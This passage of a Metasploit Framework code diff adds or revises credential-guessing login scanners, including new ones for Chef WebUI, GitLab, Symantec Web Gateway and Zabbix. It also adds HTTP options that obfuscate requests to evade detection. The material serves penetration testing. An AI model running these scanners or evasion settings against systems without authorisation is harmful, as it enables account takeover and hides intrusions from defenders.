+ status = Metasploit::Model::Login::Status::SUCCESSFUL + else + status = Metasploit::Model::Login::Status::INCORRECT + end + result_options.merge!( + proof: "Status code #{auth_response.status}", + status: status + ) + rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + ensure + disconnect + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb index 60f6c0084c..ccd0970b3e 100644 --- a/lib/metasploit/framework/login_scanner/afp.rb +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -31,7 +31,12 @@ module Metasploit rescue Rex::ConnectionError, EOFError, Timeout::Error status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT else - success = login(credential.public, credential.private) + begin + success = login(credential.public, credential.private) + rescue RuntimeError => e + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message} + end + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb index 0fc32c9913..5fb73067ac 100644 --- a/lib/metasploit/framework/login_scanner/axis2.rb +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -17,10 +17,10 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) - http_client = config_client(http_client) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 511260ffea..889002eb36 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -12,6 +12,12 @@ module Metasploit include ActiveModel::Validations included do + # @!attribute framework + # @return [Object] The framework instance object + attr_accessor :framework + # @!attribute framework_module + # @return [Object] The framework module caller, if availale + attr_accessor :framework_module # @!attribute connection_timeout # @return [Fixnum] The timeout in seconds for a single SSH connection attr_accessor :connection_timeout @@ -57,8 +63,8 @@ module Metasploit inclusion: { in: [true, false] } validates :bruteforce_speed, - presence: false, numericality: { + allow_nil: true, only_integer: true, greater_than_or_equal_to: 0, less_than_or_equal_to: 5 diff --git a/lib/metasploit/framework/login_scanner/buffalo.rb b/lib/metasploit/framework/login_scanner/buffalo.rb index 53357aa227..e690871da0 100644 --- a/lib/metasploit/framework/login_scanner/buffalo.rb +++ b/lib/metasploit/framework/login_scanner/buffalo.rb @@ -34,7 +34,8 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + configure_http_client(cli) cli.connect req = cli.request_cgi({ 'method'=>'POST', diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb new file mode 100644 index 0000000000..1f4cdf2d16 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -0,0 +1,151 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI + class ChefWebUI < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute session_name + # @return [String] Cookie name for session_id + attr_accessor :session_name + + # @!attribute session_id + # @return [String] Cookie value + attr_accessor :session_id + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/users/login')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)" + end + + if res.body.to_s !~ /Chef Server<\/title>/ + return "Unexpected HTTP body (is this really Chef WebUI?)" + end + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + configure_http_client(cli) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Save the session ID cookie + if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i + self.session_name = $1 + self.session_id = $2 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(csrf_token, credential) + + data = "utf8=%E2%9C%93" # ✓ + data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&commit=login" + + opts = { + 'uri' => normalize_uri('/users/login_exec'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + + send_request(opts) + end + + + # Tries to login to Chef WebUI + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + + # Obtain a CSRF token first + res = send_request({'uri' => normalize_uri('/users/login')}) + unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m) + return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body} + end + + csrf_token = $1 + + res = try_credential(csrf_token, credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri("/users/#{credential.public}/edit"), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /New password for the User/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/gitlab.rb b/lib/metasploit/framework/login_scanner/gitlab.rb new file mode 100644 index 0000000000..a8213d9d2d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/gitlab.rb @@ -0,0 +1,96 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + # GitLab login scanner + class GitLab < HTTP + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = false + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = '/users/sign_in' if uri.nil? + self.method = 'POST' if method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: ssl ? 'https' : 'http' + } + begin + cli = Rex::Proto::Http::Client.new(host, + port, + { + 'Msf' => framework, + 'MsfExploit' => framework_module + }, + ssl, + ssl_version, + proxies) + configure_http_client(cli) + cli.connect + + # Get a valid session cookie and authenticity_token for the next step + req = cli.request_cgi( + 'method' => 'GET', + 'cookie' => 'request_method=GET', + 'uri' => uri + ) + + res = cli.send_recv(req) + + if res.body.include? 'user[email]' + user_field = 'user[email]' + elsif res.body.include? 'user[login]' + user_field = 'user[login]' + else + fail RuntimeError, 'Not a valid GitLab login page' + end + + local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] + auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] + + fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie + fail RuntimeError, 'Unable to get Authentication Token' unless auth_token + + # Perform the actual login + req = cli.request_cgi( + 'method' => 'POST', + 'cookie' => local_session_cookie, + 'uri' => uri, + 'vars_post' => + { + 'utf8' => "\xE2\x9C\x93", + 'authenticity_token' => auth_token, + "#{user_field}" => credential.public, + 'user[password]' => credential.private, + 'user[remember_me]' => 0 + } + ) + + res = cli.send_recv(req) + if res && res.code == 302 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + ensure + cli.close + end + Result.new(result_opts) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index ccd2fa559b..064a583d9e 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -61,7 +61,8 @@ module Metasploit # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_raw(opts) res = cli.send_recv(req) @@ -182,7 +183,7 @@ module Metasploit status = try_glassfish_3(credential) result_opts.merge!(status) end - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index ae49430656..fda5c5d0c7 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -37,6 +37,122 @@ module Metasploit # @return [String] the Virtual Host name for the target Web Server attr_accessor :vhost + # @!attribute evade_uri_encode_mode + # @return [String] The type of URI encoding to use + attr_accessor :evade_uri_encode_mode + + # @!attribute evade_uri_full_url + # @return [Boolean] Whether to use the full URL for all HTTP requests + attr_accessor :evade_uri_full_url + + # @!attribute evade_pad_method_uri_count + # @return [Fixnum] How many whitespace characters to use between the method and uri + attr_accessor :evade_pad_method_uri_count + + # @!attribute evade_pad_uri_version_count + # @return [Fixnum] How many whitespace characters to use between the uri and version + attr_accessor :evade_pad_uri_version_count + + # @!attribute evade_pad_method_uri_type + # @return [String] What type of whitespace to use between the method and uri + attr_accessor :evade_pad_method_uri_type + + # @!attribute evade_pad_uri_version_type + # @return [String] What type of whitespace to use between the uri and version + attr_accessor :evade_pad_uri_version_type + + # @!attribute evade_method_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP method for request + attr_accessor :evade_method_random_valid + + # @!attribute evade_method_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP method for request + attr_accessor :evade_method_random_invalid + + # @!attribute evade_method_random_case + # @return [Boolean] Whether to use random casing for the HTTP method + attr_accessor :evade_method_random_case + + # @!attribute evade_uri_dir_self_reference + # @return [Boolean] Whether to insert self-referential directories into the uri + attr_accessor :evade_uri_dir_self_reference + + # @!attribute evade_uri_dir_fake_relative + # @return [Boolean] Whether to insert fake relative directories into the uri + attr_accessor :evade_uri_dir_fake_relative + + # @!attribute evade_uri_use_backslashes + # @return [Boolean] Whether to use back slashes instead of forward slashes in the uri + attr_accessor :evade_uri_use_backslashes + + # @!attribute evade_pad_fake_headers + # @return [Boolean] Whether to insert random, fake headers into the HTTP request + attr_accessor :evade_pad_fake_headers + + # @!attribute evade_pad_fake_headers_count + # @return [Fixnum] How many fake headers to insert into the HTTP request + attr_accessor :evade_pad_fake_headers_count + + # @!attribute evade_pad_get_params + # @return [Boolean] Whether to insert random, fake query string variables into the request + attr_accessor :evade_pad_get_params + + # @!attribute evade_pad_get_params_count + # @return [Fixnum] How many fake query string variables to insert into the request + attr_accessor :evade_pad_get_params_count + + # @!attribute evade_pad_post_params + # @return [Boolean] Whether to insert random, fake post variables into the request + attr_accessor :evade_pad_post_params + + # @!attribute evade_pad_post_params_count + # @return [Fixnum] How many fake post variables to insert into the request + attr_accessor :evade_pad_post_params_count + + # @!attribute evade_uri_fake_end + # @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../) + attr_accessor :evade_uri_fake_end + + # @!attribute evade_uri_fake_params_start + # @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../) + attr_accessor :evade_uri_fake_params_start + + # @!attribute evade_header_folding + # @return [Boolean] Whether to enable folding of HTTP headers + attr_accessor :evade_header_folding + + # @!attribute ntlm_use_ntlmv2_session + # @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session + attr_accessor :ntlm_use_ntlmv2_session + + # @!attribute ntlm_use_ntlmv2 + # @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled + attr_accessor :ntlm_use_ntlmv2 + + # @!attribute ntlm_send_lm + # @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified) + attr_accessor :ntlm_send_lm + + # @!attribute ntlm_send_ntlm + # @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses + attr_accessor :ntlm_send_ntlm + + # @!attribute ntlm_send_spn + # @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob. + attr_accessor :ntlm_send_spn + + # @!attribute ntlm_use_lm_key + # @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent + attr_accessor :ntlm_use_lm_key + + # @!attribute ntlm_domain + # @return [String] The NTLM domain to use during authentication + attr_accessor :ntlm_domain + + # @!attribute digest_auth_iis + # @return [Boolean] Whether to conform to IIS digest authentication mode. + attr_accessor :digest_auth_iis + validates :uri, presence: true, length: { minimum: 1 } @@ -47,7 +163,7 @@ module Metasploit # (see Base#check_setup) def check_setup http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) request = http_client.request_cgi( 'uri' => uri, @@ -55,7 +171,7 @@ module Metasploit ) begin - # Use _send_recv instead of send_recv to skip automatiu + # Use _send_recv instead of send_recv to skip automatic # authentication response = http_client._send_recv(request) rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error @@ -71,14 +187,66 @@ module Metasploit error_message end + # Sends a HTTP request with Rex + # + # @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi) + # @option opts [String] 'host' The remote host + # @option opts [Fixnum] 'port' The remote port + # @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass + # @option opts [String] 'proxies' The proxies setting + # @option opts [Credential] 'credential' A credential object + # @option opts ['Hash'] 'context' A context + # @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + # @return [Rex::Proto::Http::Response] The HTTP response + # @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response) + def send_request(opts) + rhost = opts['host'] || host + rport = opts['rport'] || port + cli_ssl = opts['ssl'] || ssl + cli_ssl_version = opts['ssl_version'] || ssl_version + cli_proxies = opts['proxies'] || proxies + username = opts['credential'] ? opts['credential'].public : '' + password = opts['credential'] ? opts['credential'].private : '' + realm = opts['credential'] ? opts['credential'].realm : nil + context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module} + + res = nil + cli = Rex::Proto::Http::Client.new( + rhost, + rport, + context, + cli_ssl, + cli_ssl_version, + cli_proxies, + username, + password + ) + configure_http_client(cli) + + if realm + cli.set_config('domain' => credential.realm) + end + + begin + cli.connect + req = cli.request_cgi(opts) + res = cli.send_recv(req) + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + raise Rex::ConnectionError, e.message + ensure + cli.close + end + + res + end + + # Attempt a single login with a single credential against the target. # # @param credential [Credential] The credential object to attempt to # login with. # @return [Result] A Result object indicating success or failure def attempt_login(credential) - ssl = false if ssl.nil? - result_opts = { credential: credential, status: Metasploit::Model::Login::Status::INCORRECT, @@ -94,32 +262,13 @@ module Metasploit result_opts[:service_name] = 'http' end - http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, - proxies, credential.public, credential.private - ) - - http_client = config_client(http_client) - - if credential.realm - http_client.set_config('domain' => credential.realm) - end - begin - http_client.connect - request = http_client.request_cgi( - 'uri' => uri, - 'method' => method - ) - - response = http_client.send_recv(request) + response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method) if response && response.code == 200 result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) end - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + rescue Rex::ConnectionError => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) - ensure - http_client.close end Result.new(result_opts) @@ -127,12 +276,53 @@ module Metasploit private - def config_client(client) - client.set_config( - 'vhost' => vhost || host, - 'agent' => user_agent + # This method is responsible for mapping the caller's datastore options to the + # Rex::Proto::Http::Client configuration parameters. + def configure_http_client(http_client) + http_client.set_config( + 'vhost' => vhost || host, + 'agent' => user_agent ) - client + + possible_params = { + 'uri_encode_mode' => evade_uri_encode_mode, + 'uri_full_url' => evade_uri_full_url, + 'pad_method_uri_count' => evade_pad_method_uri_count, + 'pad_uri_version_count' => evade_pad_uri_version_count, + 'pad_method_uri_type' => evade_pad_method_uri_type, + 'pad_uri_version_type' => evade_pad_uri_version_type, + 'method_random_valid' => evade_method_random_valid, + 'method_random_invalid' => evade_method_random_invalid, + 'method_random_case' => evade_method_random_case, + 'uri_dir_self_reference' => evade_uri_dir_self_reference, + 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, + 'uri_use_backslashes' => evade_uri_use_backslashes, + 'pad_fake_headers' => evade_pad_fake_headers, + 'pad_fake_headers_count' => evade_pad_fake_headers_count, + 'pad_get_params' => evade_pad_get_params, + 'pad_get_params_count' => evade_pad_get_params_count, + 'pad_post_params' => evade_pad_post_params, + 'pad_post_params_count' => evade_pad_post_params_count, + 'uri_fake_end' => evade_uri_fake_end, + 'uri_fake_params_start' => evade_uri_fake_params_start, + 'header_folding' => evade_header_folding, + 'usentlm2_session' => ntlm_use_ntlmv2_session, + 'use_ntlmv2' => ntlm_use_ntlmv2, + 'send_lm' => ntlm_send_lm, + 'send_ntlm' => ntlm_send_ntlm, + 'SendSPN' => ntlm_send_spn, + 'UseLMKey' => ntlm_use_lm_key, + 'domain' => ntlm_domain, + 'DigestAuthIIS' => digest_auth_iis + } + + # Set the parameter only if it is not nil + possible_params.each_pair do |k,v| + next if v.nil? + http_client.set_config(k => v) + end + + http_client end # This method sets the sane defaults for things @@ -157,9 +347,21 @@ module Metasploit self.ssl = true end + if self.ssl.nil? + self.ssl = false + end + nil end + # Combine the base URI with the target URI in a sane fashion + # + # @param [String] target_uri the target URL + # @return [String] the final URL mapped against the base + def normalize_uri(target_uri) + (self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/') + end + end end end diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb index c7c45e3f05..f322c9e629 100644 --- a/lib/metasploit/framework/login_scanner/ipboard.rb +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -10,10 +10,9 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) - - http_client = config_client(http_client) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index c2f355251f..879989e0ef 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -33,7 +33,8 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_cgi({ 'method'=>'POST', @@ -49,7 +50,7 @@ module Metasploit else result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) end - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end Result.new(result_opts) diff --git a/lib/metasploit/framework/login_scanner/mybook_live.rb b/lib/metasploit/framework/login_scanner/mybook_live.rb index 2f32ebe304..a69b304934 100644 --- a/lib/metasploit/framework/login_scanner/mybook_live.rb +++ b/lib/metasploit/framework/login_scanner/mybook_live.rb @@ -35,7 +35,8 @@ module Metasploit begin cred = Rex::Text.uri_encode(credential.private) body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}" - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + configure_http_client(cli) cli.connect req = cli.request_cgi( 'method' => method, diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb index 91eeb144bf..93b2024aaa 100644 --- a/lib/metasploit/framework/login_scanner/postgres.rb +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -62,6 +62,11 @@ module Metasploit end rescue Rex::ConnectionError, EOFError, Timeout::Error => e result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e.message + }) end if pg_conn diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb index 10d02c8673..b8c4ca6c51 100644 --- a/lib/metasploit/framework/login_scanner/smh.rb +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -21,7 +21,7 @@ module Metasploit req_opts = { 'method' => 'POST', - 'uri' => '/proxy/ssllogin', + 'uri' => uri, 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', @@ -33,7 +33,8 @@ module Metasploit res = nil begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + configure_http_client(cli) cli.connect req = cli.request_cgi(req_opts) res = cli.send_recv(req) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index d2fd0d313a..a6ba854202 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -38,7 +38,7 @@ module Metasploit :Timeout => connection_timeout, :Retries => 2, :Transport => ::SNMP::RexUDPTransport, - :Socket => ::Rex::Socket::Udp.create + :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) ) result_options[:proof] = test_read_access(snmp_client) diff --git a/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb b/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb new file mode 100644 index 0000000000..16130d65b4 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb @@ -0,0 +1,121 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + class SymantecWebGateway < HTTP + + DEFAULT_PORT = 443 + PRIVATE_TYPES = [ :password ] + LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name + + + # Checks if the target is Symantec Web Gateway. The login module should call this. + # + # @return [Boolean] TrueClass if target is SWG, otherwise FalseClass + def check_setup + login_uri = normalize_uri("#{uri}/spywall/login.php") + res = send_request({'uri'=> login_uri}) + + if res && res.body.include?('Symantec Web Gateway') + return true + end + + false + end + + + # Returns the latest sid from Symantec Web Gateway. + # + # @return [String] The PHP Session ID for Symantec Web Gateway login + def get_last_sid + @last_sid ||= lambda { + # We don't have a session ID. Well, let's grab one right quick from the login page. + # This should probably only happen once (initially). + login_uri = normalize_uri("#{uri}/spywall/login.php") + res = send_request({'uri' => login_uri}) + + return '' unless res + + cookies = res.get_cookies + @last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + }.call + end + + + # Actually doing the login. Called by #attempt_login + # + # @param username [String] The username to try + # @param password [String] The password to try + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def get_login_state(username, password) + # Prep the data needed for login + sid = get_last_sid + protocol = ssl ? 'https' : 'http' + peer = "#{host}:#{port}" + login_uri = normalize_uri("#{uri}/spywall/login.php") + + res = send_request({ + 'uri' => login_uri, + 'method' => 'POST', + 'cookie' => sid, + 'headers' => { + 'Referer' => "#{protocol}://#{peer}/#{login_uri}" + }, + 'vars_post' => { + 'USERNAME' => username, + 'PASSWORD' => password, + 'loginBtn' => 'Login' # Found in the HTML form + } + }) + + unless res + return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s} + end + + # After login, the application should give us a new SID + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + @last_sid = sid # Update our SID + + if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank? + return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s} + end + + {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s} + end + + + # Attempts to login to Symantec Web Gateway. This is called first. + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + begin + result_opts.merge!(get_login_state(credential.public, credential.private)) + rescue ::Rex::ConnectionError => e + # Something went wrong during login. 'e' knows what's up. + result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message) + end + + Result.new(result_opts) + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 9166545e99..8b67147a67 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -10,8 +10,9 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) + configure_http_client(http_client) result_opts = { credential: credential, diff --git a/lib/metasploit/framework/login_scanner/zabbix.rb b/lib/metasploit/framework/login_scanner/zabbix.rb new file mode 100644 index 0000000000..17bdb3ff91 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/zabbix.rb @@ -0,0 +1,137 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The Zabbix HTTP LoginScanner class provides methods to do login routines + # for Zabbix 2.4 and 2.2 + class Zabbix < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute version + # @return [String] Product version + attr_accessor :version + + # @!attribute zsession + # @return [String] Cookie session + attr_accessor :zsession + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)" + end + + if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m + return "Unexpected HTTP body (is this really Zabbix?)" + end + + self.version = $1 + + rescue ::EOFError, Errno::ETIMEDOUT, 